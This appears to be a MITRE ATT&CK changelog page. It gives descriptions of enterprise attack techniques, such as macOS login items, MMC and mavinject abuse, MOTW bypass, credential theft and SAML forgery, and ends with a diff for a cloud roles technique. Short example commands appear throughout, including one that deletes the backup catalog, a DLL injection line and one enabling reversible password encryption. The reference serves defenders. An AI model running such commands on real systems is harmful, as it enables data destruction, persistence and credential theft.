Adversaries can utilize [AppleScript](https://attack.mitre.org/techniques/T1059/002) and [Native API](https://attack.mitre.org/techniques/T1106) calls to create a login item to spawn malicious executables.(Citation: ELC Running at startup) Prior to version 10.5 on macOS, adversaries can add login items by using [AppleScript](https://attack.mitre.org/techniques/T1059/002) to send an Apple events to the “System Events” process, which has an AppleScript dictionary for manipulating login items.(Citation: Login Items AE) Adversaries can use a command such as tell application “System Events” to make login item at end with properties /path/to/executable.(Citation: Startup Items Eclectic)(Citation: hexed osx.dok analysis 2019)(Citation: Add List Remove Login Items Apple Script) This command adds the path of the malicious executable to the login item file list located in ~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm.(Citation: Startup Items Eclectic) Adversaries can also use login items to launch executables that can be used to control the victim system remotely or as a means to gain privilege escalation by prompting for user credentials.(Citation: objsee mac malware 2017)(Citation: CheckPoint Dok)(Citation: objsee netwire backdoor 2019)
Current version: 2.0
Description: Adversaries may abuse mmc.exe to proxy execution of malicious .msc files. Microsoft Management Console (MMC) is a binary that may be signed by Microsoft and is used in several ways in either its GUI or in a command prompt.(Citation: win_mmc)(Citation: what_is_mmc) MMC can be used to create, open, and save custom consoles that contain administrative tools created by Microsoft, called snap-ins. These snap-ins may be used to manage Windows systems locally or remotely. MMC can also be used to open Microsoft created .msc files to manage system configuration.(Citation: win_msc_files_overview)
For example, mmc C:\Users\foo\admintools.msc /a will open a custom, saved console msc file in author mode.(Citation: win_mmc) Another common example is mmc gpedit.msc, which will open the Group Policy Editor application window.
Adversaries may use MMC commands to perform malicious tasks. For example, mmc wbadmin.msc delete catalog -quiet deletes the backup catalog on the system (i.e. [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490)) without prompts to the user (Note: wbadmin.msc may only be present by default on Windows Server operating systems).(Citation: win_wbadmin_delete_catalog)(Citation: phobos_virustotal)
Adversaries may also abuse MMC to execute malicious .msc files. For example, adversaries may first create a malicious registry Class Identifier (CLSID) subkey, which uniquely identifies a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) class object.(Citation: win_clsid_key) Then, adversaries may create custom consoles with the “Link to Web Address” snap-in that is linked to the malicious CLSID subkey.(Citation: mmc_vulns) Once the .msc file is saved, adversaries may invoke the malicious CLSID payload with the following command: mmc.exe -Embedding C:\path\to\test.msc.(Citation: abusing_com_reg)
Current version: 1.1
Description: Adversaries may rely on a user running a malicious image to facilitate execution. Amazon Web Services (AWS) Amazon Machine Images (AMIs), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be backdoored. Backdoored images may be uploaded to a public repository via [Upload Malware](https://attack.mitre.org/techniques/T1608/001), and users may then download and deploy an instance or container from the image without realizing the image is malicious, thus bypassing techniques that specifically achieve Initial Access. This can lead to the execution of malicious code, such as code that executes cryptocurrency mining, in the instance or container.(Citation: Summit Route Malicious AMIs) Adversaries may also name images a certain way to increase the chance of users mistakenly deploying an instance or container from the image (ex: [Match Legitimate Name or Location](https://attack.mitre.org/techniques/T1036/005)).(Citation: Aqua Security Cloud Native Threat Report June 2021)
Current version: 1.1
Description: Adversaries may abuse specific file formats to subvert Mark-of-the-Web (MOTW) controls. In Windows, when files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named Zone.Identifier with a specific value known as the MOTW.(Citation: Microsoft Zone.Identifier 2020) Files that are tagged with MOTW are protected and cannot perform certain actions. For example, starting in MS Office 10, if a MS Office file has the MOTW, it will open in Protected View. Executables tagged with the MOTW will be processed by Windows Defender SmartScreen that compares files with an allowlist of well-known executables. If the file in not known/trusted, SmartScreen will prevent the execution and warn the user not to run it.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020)(Citation: Intezer Russian APT Dec 2020)
Adversaries may abuse container files such as compressed/archive (.arj, .gzip) and/or disk image (.iso, .vhd) file formats to deliver malicious payloads that may not be tagged with MOTW. Container files downloaded from the Internet will be marked with MOTW but the files within may not inherit the MOTW after the container files are extracted and/or mounted. MOTW is a NTFS feature and many container files do not support NTFS alternative data streams. After a container file is extracted and/or mounted, the files contained within them may be treated as local files on disk and run without protections.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020)
Current version: 2.0
Description: Adversaries may abuse mavinject.exe to proxy execution of malicious code. Mavinject.exe is the Microsoft Application Virtualization Injector, a Windows utility that can inject code into external processes as part of Microsoft Application Virtualization (App-V).(Citation: LOLBAS Mavinject)
Adversaries may abuse mavinject.exe to inject malicious DLLs into running processes (i.e. [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001)), allowing for arbitrary code execution (ex. C:\Windows\system32\mavinject.exe PID /INJECTRUNNING PATH_DLL).(Citation: ATT Lazarus TTP Evolution)(Citation: Reaqta Mavinject) Since mavinject.exe may be digitally signed by Microsoft, proxying execution via this method may evade detection by security products because the execution is masked under a legitimate process.
In addition to [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001), Mavinject.exe can also be abused to perform import descriptor injection via its /HMODULE command-line parameter (ex. mavinject.exe PID /HMODULE=BASE_ADDRESS PATH_DLL ORDINAL_NUMBER). This command would inject an import table entry consisting of the specified DLL into the module at the given base address.(Citation: Mavinject Functionality Deconstructed)
Current version: 1.0
Description: Adversaries may attempt to bypass multi-factor authentication (MFA) mechanisms and gain access to accounts by generating MFA requests sent to users. Adversaries in possession credentials to [Valid Accounts](https://attack.mitre.org/techniques/T1078) may be unable to complete the login process if they lack access to the 2FA or MFA mechanisms required as an additional credential and security control. To circumvent this, adversaries may abuse the automatic generation of push notifications to MFA services such as Duo Push, Microsoft Authenticator, Okta, or similar services to have the user grant access to their account. In some cases, adversaries may continuously repeat login attempts in order to bombard users with MFA push notifications, SMS messages, and phone calls, potentially resulting in the user finally accepting the authentication request in response to “MFA fatigue.”(Citation: Russian 2FA Push Annoyance - Cimpanu)(Citation: MFA Fatigue Attacks - PortSwigger)(Citation: Suspected Russian Activity Targeting Government and Business Entities Around the Globe)
Current version: 1.0
Description: Adversaries may acquire user credentials from third-party password managers.(Citation: ise Password Manager February 2019) Password managers are applications designed to store user credentials, normally in an encrypted database. Credentials are typically accessible after a user provides a master password that unlocks the database. After the database is unlocked, these credentials may be copied to memory. These databases can be stored as files on disk.(Citation: ise Password Manager February 2019) Adversaries may acquire user credentials from password managers by extracting the master password and/or plain-text credentials from memory.(Citation: FoxIT Wocao December 2019)(Citation: Github KeeThief) Adversaries may extract credentials from memory via [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212).(Citation: NVD CVE-2019-3610) Adversaries may also try brute forcing via [Password Guessing](https://attack.mitre.org/techniques/T1110/001) to obtain the master password of a password manager.(Citation: Cyberreason Anchor December 2019)
Current version: 1.0
Description: Adversaries may modify property list files (plist files) to enable other malicious activity, while also potentially evading and bypassing system defenses. macOS applications use plist files, such as the info.plist file, to store properties and configuration settings that inform the operating system how to handle the application at runtime. Plist files are structured metadata in key-value pairs formatted in XML based on Apple's Core Foundation DTD. Plist files can be saved in text or binary format.(Citation: fileinfo plist file description)
Adversaries can modify key-value pairs in plist files to influence system behaviors, such as hiding the execution of an application (i.e. [Hidden Window](https://attack.mitre.org/techniques/T1564/003)) or running additional commands for persistence (ex: [Launch Agent](https://attack.mitre.org/techniques/T1543/001)/[Launch Daemon](https://attack.mitre.org/techniques/T1543/004) or [Re-opened Applications](https://attack.mitre.org/techniques/T1547/007)).
For example, adversaries can add a malicious application path to the `~/Library/Preferences/com.apple.dock.plist` file, which controls apps that appear in the Dock. Adversaries can also modify the LSUIElement key in an application’s info.plist file to run the app in the background. Adversaries can also insert key-value pairs to insert environment variables, such as LSEnvironment, to enable persistence via [Dynamic Linker Hijacking](https://attack.mitre.org/techniques/T1574/006).(Citation: wardle chp2 persistence)(Citation: eset_osx_flashback)
Current version: 1.0
Description: Adversaries may attempt to hide process command-line arguments by overwriting process memory. Process command-line arguments are stored in the process environment block (PEB), a data structure used by Windows to store various information about/used by a process. The PEB includes the process command-line arguments that are referenced when executing the process. When a process is created, defensive tools/sensors that monitor process creations may retrieve the process arguments from the PEB.(Citation: Microsoft PEB 2021)(Citation: Xpn Argue Like Cobalt 2019)
Adversaries may manipulate a process PEB to evade defenses. For example, [Process Hollowing](https://attack.mitre.org/techniques/T1055/012) can be abused to spawn a process in a suspended state with benign arguments. After the process is spawned and the PEB is initialized (and process information is potentially logged by tools/sensors), adversaries may override the PEB to modify the command-line arguments (ex: using the [Native API](https://attack.mitre.org/techniques/T1106) WriteProcessMemory() function) then resume process execution with malicious arguments.(Citation: Cobalt Strike Arguments 2019)(Citation: Xpn Argue Like Cobalt 2019)(Citation: Nviso Spoof Command Line 2020)
Adversaries may also execute a process with malicious command-line arguments then patch the memory with benign arguments that may bypass subsequent process memory analysis.(Citation: FireEye FiveHands April 2021)
This behavior may also be combined with other tricks (such as [Parent PID Spoofing](https://attack.mitre.org/techniques/T1134/004)) to manipulate or further evade process-based detections.
Current version: 1.0
Description: Adversaries may reflectively load code into a process in order to conceal the execution of malicious payloads. Reflective loading involves allocating then executing payloads directly within the memory of the process, vice creating a thread or process backed by a file path on disk. Reflectively loaded payloads may be compiled binaries, anonymous files (only present in RAM), or just snubs of fileless executable code (ex: position-independent shellcode).(Citation: Introducing Donut)(Citation: S1 Custom Shellcode Tool)(Citation: Stuart ELF Memory)(Citation: 00sec Droppers)(Citation: Mandiant BYOL) Reflective code injection is very similar to [Process Injection](https://attack.mitre.org/techniques/T1055) except that the “injection” loads code into the processes’ own memory instead of that of a separate process. Reflective loading may evade process-based detections since the execution of the arbitrary code may be masked within a legitimate or otherwise benign process. Reflectively loading payloads directly into memory may also avoid creating files or other artifacts on disk, while also enabling malware to keep these payloads encrypted (or otherwise obfuscated) until execution.(Citation: Stuart ELF Memory)(Citation: 00sec Droppers)(Citation: Intezer ACBackdoor)(Citation: S1 Old Rat New Tricks)
Current version: 1.0
Description: Adversaries may abuse resource forks to hide malicious code or executables to evade detection and bypass security applications. A resource fork provides applications a structured way to store resources such as thumbnail images, menu definitions, icons, dialog boxes, and code.(Citation: macOS Hierarchical File System Overview) Usage of a resource fork is identifiable when displaying a file’s extended attributes, using ls -l@ or xattr -l commands. Resource forks have been deprecated and replaced with the application bundle structure. Non-localized resources are placed at the top level directory of an application bundle, while localized resources are placed in the /Resources folder.(Citation: Resource and Data Forks)(Citation: ELC Extended Attributes)
Adversaries can use resource forks to hide malicious data that may otherwise be stored directly in files. Adversaries can execute content with an attached resource fork, at a specified offset, that is moved to an executable location then invoked. Resource fork content may also be obfuscated/encrypted until execution.(Citation: sentinellabs resource named fork 2020)(Citation: tau bundlore erika noerenberg 2020)
Current version: 1.0
Description: An adversary may abuse Active Directory authentication encryption properties to gain access to credentials on Windows systems. The AllowReversiblePasswordEncryption property specifies whether reversible password encryption for an account is enabled or disabled. By default this property is disabled (instead storing user credentials as the output of one-way hashing functions) and should not be enabled unless legacy or other software require it.(Citation: store_pwd_rev_enc)
If the property is enabled and/or a user changes their password after it is enabled, an adversary may be able to obtain the plaintext of passwords created/changed after the property was enabled. To decrypt the passwords, an adversary needs four components:
1. Encrypted password (G$RADIUSCHAP) from the Active Directory user-structure userParameters
2. 16 byte randomly-generated value (G$RADIUSCHAPKEY) also from userParameters
3. Global LSA secret (G$MSRADIUSCHAPKEY)
4. Static key hardcoded in the Remote Access Subauthentication DLL (RASSFM.DLL)
With this information, an adversary may be able to reproduce the encryption key and subsequently decrypt the encrypted password value.(Citation: how_pwd_rev_enc_1)(Citation: how_pwd_rev_enc_2)
An adversary may set this property at various scopes through Local Group Policy Editor, user properties, Fine-Grained Password Policy (FGPP), or via the ActiveDirectory [PowerShell](https://attack.mitre.org/techniques/T1059/001) module. For example, an adversary may implement and apply a FGPP to users or groups if the Domain Functional Level is set to "Windows Server 2008" or higher.(Citation: dump_pwd_dcsync) In PowerShell, an adversary may make associated changes to user settings using commands similar to Set-ADUser -AllowReversiblePasswordEncryption $true.
Current version: 1.2
Description: An adversary may forge SAML tokens with any permissions claims and lifetimes if they possess a valid SAML token-signing certificate.(Citation: Microsoft SolarWinds Steps) The default lifetime of a SAML token is one hour, but the validity period can be specified in the NotOnOrAfter value of the conditions ... element in a token. This value can be changed using the AccessTokenLifetime in a LifetimeTokenPolicy.(Citation: Microsoft SAML Token Lifetimes) Forged SAML tokens enable adversaries to authenticate across services that use SAML 2.0 as an SSO (single sign-on) mechanism.(Citation: Cyberark Golden SAML)
An adversary may utilize [Private Keys](https://attack.mitre.org/techniques/T1552/004) to compromise an organization's token-signing certificate to create forged SAML tokens. If the adversary has sufficient permissions to establish a new federation trust with their own Active Directory Federation Services (AD FS) server, they may instead generate their own trusted token-signing certificate.(Citation: Microsoft SolarWinds Customer Guidance) This differs from [Steal Application Access Token](https://attack.mitre.org/techniques/T1528) and other similar behaviors in that the tokens are new and forged by the adversary, rather than stolen or intercepted from legitimate users.
An adversary may gain administrative Azure AD privileges if a SAML token is forged which claims to represent a highly privileged account. This may lead to [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Microsoft SolarWinds Customer Guidance)
Current version: 1.0
Description: Adversaries may abuse Windows safe mode to disable endpoint defenses. Safe mode starts up the Windows operating system with a limited set of drivers and services. Third-party security software such as endpoint detection and response (EDR) tools may not start after booting Windows in safe mode. There are two versions of safe mode: Safe Mode and Safe Mode with Networking. It is possible to start additional services after a safe mode boot.(Citation: Microsoft Safe Mode)(Citation: Sophos Snatch Ransomware 2019) Adversaries may abuse safe mode to disable endpoint defenses that may not start with a limited boot. Hosts can be forced into safe mode after the next reboot via modifications to Boot Configuration Data (BCD) stores, which are files that manage boot application settings.(Citation: Microsoft bcdedit 2021) Adversaries may also add their malicious applications to the list of minimal services that start in safe mode by modifying relevant Registry values (i.e. [Modify Registry](https://attack.mitre.org/techniques/T1112)). Malicious [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) objects may also be registered and loaded in safe mode.(Citation: Sophos Snatch Ransomware 2019)(Citation: CyberArk Labs Safe Mode 2016)(Citation: Cybereason Nocturnus MedusaLocker 2020)(Citation: BleepingComputer REvil 2021)
Current version: 1.1
Description: Adversaries may upload, install, or otherwise set up capabilities that can be used during targeting. To support their operations, an adversary may need to take capabilities they developed ([Develop Capabilities](https://attack.mitre.org/techniques/T1587)) or obtained ([Obtain Capabilities](https://attack.mitre.org/techniques/T1588)) and stage them on infrastructure under their control. These capabilities may be staged on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)). Capabilities can also be staged on web services, such as GitHub or Pastebin.(Citation: Volexity Ocean Lotus November 2020) Staging of capabilities can aid the adversary in a number of initial access and post-compromise behaviors, including (but not limited to): * Staging web resources necessary to conduct [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) when a user browses to a site.(Citation: FireEye CFR Watering Hole 2012)(Citation: Gallagher 2015)(Citation: ATT ScanBox) * Staging web resources for a link target to be used with spearphishing.(Citation: Malwarebytes Silent Librarian October 2020)(Citation: Proofpoint TA407 September 2019) * Uploading malware or tools to a location accessible to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105).(Citation: Volexity Ocean Lotus November 2020) * Installing a previously acquired SSL/TLS certificate to use to encrypt command and control traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)).(Citation: DigiCert Install SSL Cert)
Current version: 1.0
Description: Adversaries may attempt to gather information about the system language of a victim in order to infer the geographical location of that host. This information may be used to shape follow-on behaviors, including whether the adversary infects the target and/or attempts specific actions. This decision may be employed by malware developers and operators to reduce their risk of attracting the attention of specific law enforcement agencies or prosecution/scrutiny from other entities.(Citation: Malware System Language Check)
There are various sources of data an adversary could use to infer system language, such as system defaults and keyboard layouts. Specific checks will vary based on the target and/or adversary, but may involve behaviors such as [Query Registry](https://attack.mitre.org/techniques/T1012) and calls to [Native API](https://attack.mitre.org/techniques/T1106) functions.(Citation: CrowdStrike Ryuk January 2019)
For example, on a Windows system adversaries may attempt to infer the language of a system by querying the registry key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Nls\Language or parsing the outputs of Windows API functions GetUserDefaultUILanguage, GetSystemDefaultUILanguage, GetKeyboardLayoutList and GetUserDefaultLangID.(Citation: Darkside Ransomware Cybereason)(Citation: Securelist JSWorm)(Citation: SecureList SynAck Doppelgänging May 2018)
On a macOS or Linux system, adversaries may query locale to retrieve the value of the $LANG environment variable.
Current version: 1.0
Description:
Adversaries may gather information in an attempt to calculate the geographical location of a victim host. Adversaries may use the information from [System Location Discovery](https://attack.mitre.org/techniques/T1614) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Adversaries may attempt to infer the location of a system using various system checks, such as time zone, keyboard layout, and/or language settings.(Citation: FBI Ragnar Locker 2020)(Citation: Sophos Geolocation 2016)(Citation: Bleepingcomputer RAT malware 2020) Windows API functions such as GetLocaleInfoW can also be used to determine the locale of the host.(Citation: FBI Ragnar Locker 2020) In cloud environments, an instance's availability zone may also be discovered by accessing the instance metadata service from the instance.(Citation: AWS Instance Identity Documents)(Citation: Microsoft Azure Instance Metadata 2021)
Adversaries may also attempt to infer the location of a victim host using IP addressing, such as via online geolocation IP-lookup services.(Citation: Securelist Trasparent Tribe 2020)(Citation: Sophos Geolocation 2016)
Current version: 1.0
Description: Adversaries may abuse components of Terminal Services to enable persistent access to systems. Microsoft Terminal Services, renamed to Remote Desktop Services in some Windows Server OSs as of 2022, enable remote terminal connections to hosts. Terminal Services allows servers to transmit a full, interactive, graphical user interface to clients via RDP.(Citation: Microsoft Remote Desktop Services)
[Windows Service](https://attack.mitre.org/techniques/T1543/003)s that are run as a "generic" process (ex: svchost.exe) load the service's DLL file, the location of which is stored in a Registry entry named ServiceDll.(Citation: Microsoft System Services Fundamentals) The termsrv.dll file, typically stored in `%SystemRoot%\System32\`, is the default ServiceDll value for Terminal Services in `HKLM\System\CurrentControlSet\services\TermService\Parameters\`.
Adversaries may modify and/or replace the Terminal Services DLL to enable persistent access to victimized hosts.(Citation: James TermServ DLL) Modifications to this DLL could be done to execute arbitrary payloads (while also potentially preserving normal termsrv.dll functionality) as well as to simply enable abusable features of Terminal Services. For example, an adversary may enable features such as concurrent [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) sessions by either patching the termsrv.dll file or modifying the ServiceDll value to point to a DLL that provides increased RDP functionality.(Citation: Windows OS Hub RDP)(Citation: RDPWrap Github) On a non-server Windows OS this increased functionality may also enable an adversary to avoid Terminal Services prompts that warn/log out users of a system when a new RDP session is created.
Current version: 1.1
Description: Adversaries may upload malware to third-party or adversary controlled infrastructure to make it accessible during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, and a variety of other malicious content. Adversaries may upload malware to support their operations, such as making a payload available to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) by placing it on an Internet accessible web server. Malware may be placed on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)). Malware can also be staged on web services, such as GitHub or Pastebin.(Citation: Volexity Ocean Lotus November 2020) Adversaries may upload backdoored files, such as application binaries, virtual machine images, or container images, to third-party software stores or repositories (ex: GitHub, CNET, AWS Community AMIs, Docker Hub). By chance encounter, victims may directly download/install these backdoored files via [User Execution](https://attack.mitre.org/techniques/T1204). [Masquerading](https://attack.mitre.org/techniques/T1036) may increase the chance of users mistakenly executing these files.
Current version: 1.1
Description: Adversaries may upload tools to third-party or adversary controlled infrastructure to make it accessible during targeting. Tools can be open or closed source, free or commercial. Tools can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: [PsExec](https://attack.mitre.org/software/S0029)). Adversaries may upload tools to support their operations, such as making a tool available to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) by placing it on an Internet accessible web server. Tools may be placed on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)).(Citation: Dell TG-3390) Tools can also be staged on web services, such as an adversary controlled GitHub repo. Adversaries can avoid the need to upload a tool by having compromised victim machines download the tool directly from a third-party hosting location (ex: a non-adversary controlled GitHub repo), including the original hosting site of the tool.
Current version: 1.1
Description: Adversaries may forge web cookies that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies to authenticate and authorize user access. Adversaries may generate these cookies in order to gain access to web resources. This differs from [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539) and other similar behaviors in that the cookies are new and forged by the adversary, rather than stolen or intercepted from legitimate users. Most common web applications have standardized and documented cookie values that can be generated using provided tools or interfaces.(Citation: Pass The Cookie) The generation of web cookies often requires secret values, such as passwords, [Private Keys](https://attack.mitre.org/techniques/T1552/004), or other cryptographic seed values. Once forged, adversaries may use these web cookies to access resources ([Web Session Cookie](https://attack.mitre.org/techniques/T1550/004)), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Volexity SolarWinds)(Citation: Pass The Cookie)(Citation: Unit 42 Mac Crypto Cookies January 2019)
Current version: 1.0
Description: Adversaries may acquire credentials from the Windows Credential Manager. The Credential Manager stores credentials for signing into websites, applications, and/or devices that request authentication through NTLM or Kerberos in Credential Lockers (previously known as Windows Vaults).(Citation: Microsoft Credential Manager store)(Citation: Microsoft Credential Locker)
The Windows Credential Manager separates website credentials from application or network credentials in two lockers. As part of [Credentials from Web Browsers](https://attack.mitre.org/techniques/T1555/003), Internet Explorer and Microsoft Edge website credentials are managed by the Credential Manager and are stored in the Web Credentials locker. Application and network credentials are stored in the Windows Credentials locker.
Credential Lockers store credentials in encrypted .vcrd files, located under %Systemdrive%\Users\\[Username]\AppData\Local\Microsoft\\[Vault/Credentials]\. The encryption key can be found in a file named Policy.vpol, typically located in the same folder as the credentials.(Citation: passcape Windows Vault)(Citation: Malwarebytes The Windows Vault)
Adversaries may list credentials managed by the Windows Credential Manager through several mechanisms. vaultcmd.exe is a native Windows executable that can be used to enumerate credentials stored in the Credential Locker through a command-line interface. Adversaries may gather credentials by reading files located inside of the Credential Lockers. Adversaries may also abuse Windows APIs such as CredEnumerateA to list credentials managed by the Credential Manager.(Citation: Microsoft CredEnumerate)(Citation: Delpy Mimikatz Crendential Manager)
Adversaries may use password recovery tools to obtain plain text passwords from the Credential Manager.(Citation: Malwarebytes The Windows Vault)
Current version: 1.0
Description: Adversaries may iteratively probe infrastructure using brute-forcing and crawling techniques. While this technique employs similar methods to [Brute Force](https://attack.mitre.org/techniques/T1110), its goal is the identification of content and infrastructure rather than the discovery of valid credentials. Wordlists used in these scans may contain generic, commonly used names and file extensions or terms specific to a particular software. Adversaries may also create custom, target-specific wordlists using data gathered from other Reconnaissance techniques (ex: [Gather Victim Org Information](https://attack.mitre.org/techniques/T1591), or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)). For example, adversaries may use web content discovery tools such as Dirb, DirBuster, and GoBuster and generic or custom wordlists to enumerate a website’s pages and directories.(Citation: ClearSky Lebanese Cedar Jan 2021) This can help them to discover old, vulnerable pages or hidden administrative portals that could become the target of further operations (ex: [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190) or [Brute Force](https://attack.mitre.org/techniques/T1110)). As cloud storage solutions typically use globally unique names, adversaries may also use target-specific wordlists and tools such as s3recon and GCPBucketBrute to enumerate public and private buckets on cloud infrastructure.(Citation: S3Recon GitHub)(Citation: GCPBucketBrute) Once storage objects are discovered, adversaries may leverage [Data from Cloud Storage Object](https://attack.mitre.org/techniques/T1530) to access valuable information that can be exfiltrated or used to escalate privileges and move laterally.
Current version: 1.0
Description: Adversaries may modify XDG autostart entries to execute programs or commands during system boot. Linux desktop environments that are XDG compliant implement functionality for XDG autostart entries. These entries will allow an application to automatically start during the startup of a desktop environment after user logon. By default, XDG autostart entries are stored within the /etc/xdg/autostart or ~/.config/autostart directories and have a .desktop file extension.(Citation: Free Desktop Application Autostart Feb 2006)
Within an XDG autostart entry file, the Type key specifies if the entry is an application (type 1), link (type 2) or directory (type 3). The Name key indicates an arbitrary name assigned by the creator and the Exec key indicates the application and command line arguments to execute.(Citation: Free Desktop Entry Keys)
Adversaries may use XDG autostart entries to maintain persistence by executing malicious commands and payloads, such as remote access tools, during the startup of a desktop environment. Commands included in XDG autostart entries with execute after user logon in the context of the currently logged on user. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make XDG autostart entries look as if they are associated with legitimate programs.
Current version: 1.0
Description: Adversaries can provide malicious content to an XPC service daemon for local code execution. macOS uses XPC services for basic inter-process communication between various processes, such as between the XPC Service daemon and third-party application privileged helper tools. Applications can send messages to the XPC Service daemon, which runs as root, using the low-level XPC Service C API or the high level NSXPCConnection API in order to handle tasks that require elevated privileges (such as network connections). Applications are responsible for providing the protocol definition which serves as a blueprint of the XPC services. Developers typically use XPC Services to provide applications stability and privilege separation between the application client and the daemon.(Citation: creatingXPCservices)(Citation: Designing Daemons Apple Dev)
Adversaries can abuse XPC services to execute malicious content. Requests for malicious execution can be passed through the application's XPC Services handler.(Citation: CVMServer Vuln)(Citation: Learn XPC Exploitation) This may also include identifying and abusing improper XPC client validation and/or poor sanitization of input parameters to conduct [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).
Current version: 2.0
Version changed from: 1.0 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | An adversary may add the Global Administrator role to an adv | t | 1 | An adversary may add additional roles or permissions to an a |
| > | ersary-controlled account to maintain persistent access to a | > | dversary-controlled cloud account to maintain persistent acc | ||
| > | n Office 365 tenant.(Citation: Microsoft Support O365 Add An | > | ess to a tenant. For example, they may update IAM policies i | ||
| > | other Admin, October 2019)(Citation: Microsoft O365 Admin Ro | > | n cloud-based environments or add a new global administrator | ||
| > | les) With sufficient permissions, a compromised account can | > | in Office 365 environments.(Citation: AWS IAM Policies and | ||
| > | gain almost unlimited access to data and settings (including | > | Permissions)(Citation: Google Cloud IAM Policies)(Citation: | ||
| > | the ability to reset the passwords of other admins) via the | > | Microsoft Support O365 Add Another Admin, October 2019)(Cita | ||
| > | global admin role.(Citation: Microsoft O365 Admin Roles) | > | tion: Microsoft O365 Admin Roles) With sufficient permission | ||
| > | This account modification may immediately follow [Create Acc | > | s, a compromised account can gain almost unlimited access to | ||
| > | ount](https://attack.mitre.org/techniques/T1136) or other ma | > | data and settings (including the ability to reset the passw | ||
| > | licious account activity. | > | ords of other admins).(Citation: Expel AWS Attacker) (Citati | ||
| > | on: Microsoft O365 Admin Roles) This account modification | ||||
| > | may immediately follow [Create Account](https://attack.mitre | ||||
| > | .org/techniques/T1136) or other malicious account activity. | ||||
| > | Adversaries may also modify an existing [Valid Accounts](htt | ||||
| > | ps://attack.mitre.org/techniques/T1078) that they have compr | ||||
| > | omised. This could lead to privilege escalation, particularl | ||||
| > | y if the roles added allow for lateral movement to additiona | ||||
| > | l accounts. For example, in Azure AD environments, an advers | ||||
| > | ary with the Application Administrator role can add [Additio | ||||
| > | nal Cloud Credentials](https://attack.mitre.org/techniques/T | ||||
| > | 1098/001) to their application's service principal. In doing | ||||
| > | so the adversary would be able to gain the service principa | ||||
| > | l’s roles and permissions, which may be different from those | ||||
| > | of the Application Administrator.(Citation: SpecterOps Azur | ||||
| > | e Privilege Escalation) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_permissions_required | ['Administrator'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-24 12:40:02.331000+00:00 | 2022-05-20 17:29:25.547000+00:00 |
| name | Add Office 365 Global Administrator Role | Additional Cloud Roles |
| description | An adversary may add the Global Administrator role to an adversary-controlled account to maintain persistent access to an Office 365 tenant.(Citation: Microsoft Support O365 Add Another Admin, October 2019)(Citation: Microsoft O365 Admin Roles) With sufficient permissions, a compromised account can gain almost unlimited access to data and settings (including the ability to reset the passwords of other admins) via the global admin role.(Citation: Microsoft O365 Admin Roles) This account modification may immediately follow [Create Account](https://attack.mitre.org/techniques/T1136) or other malicious account activity. | An adversary may add additional roles or permissions to an adversary-controlled cloud account to maintain persistent access to a tenant. For example, they may update IAM policies in cloud-based environments or add a new global administrator in Office 365 environments.(Citation: AWS IAM Policies and Permissions)(Citation: Google Cloud IAM Policies)(Citation: Microsoft Support O365 Add Another Admin, October 2019)(Citation: Microsoft O365 Admin Roles) With sufficient permissions, a compromised account can gain almost unlimited access to data and settings (including the ability to reset the passwords of other admins).(Citation: Expel AWS Attacker) (Citation: Microsoft O365 Admin Roles) This account modification may immediately follow [Create Account](https://attack.mitre.org/techniques/T1136) or other malicious account activity. Adversaries may also modify an existing [Valid Accounts](https://attack.mitre.org/techniques/T1078) that they have compromised. This could lead to privilege escalation, particularly if the roles added allow for lateral movement to additional accounts. For example, in Azure AD environments, an adversary with the Application Administrator role can add [Additional Cloud Credentials](https://attack.mitre.org/techniques/T1098/001) to their application's service principal. In doing so the adversary would be able to gain the service principal’s roles and permissions, which may be different from those of the Application Administrator.(Citation: SpecterOps Azure Privilege Escalation) |
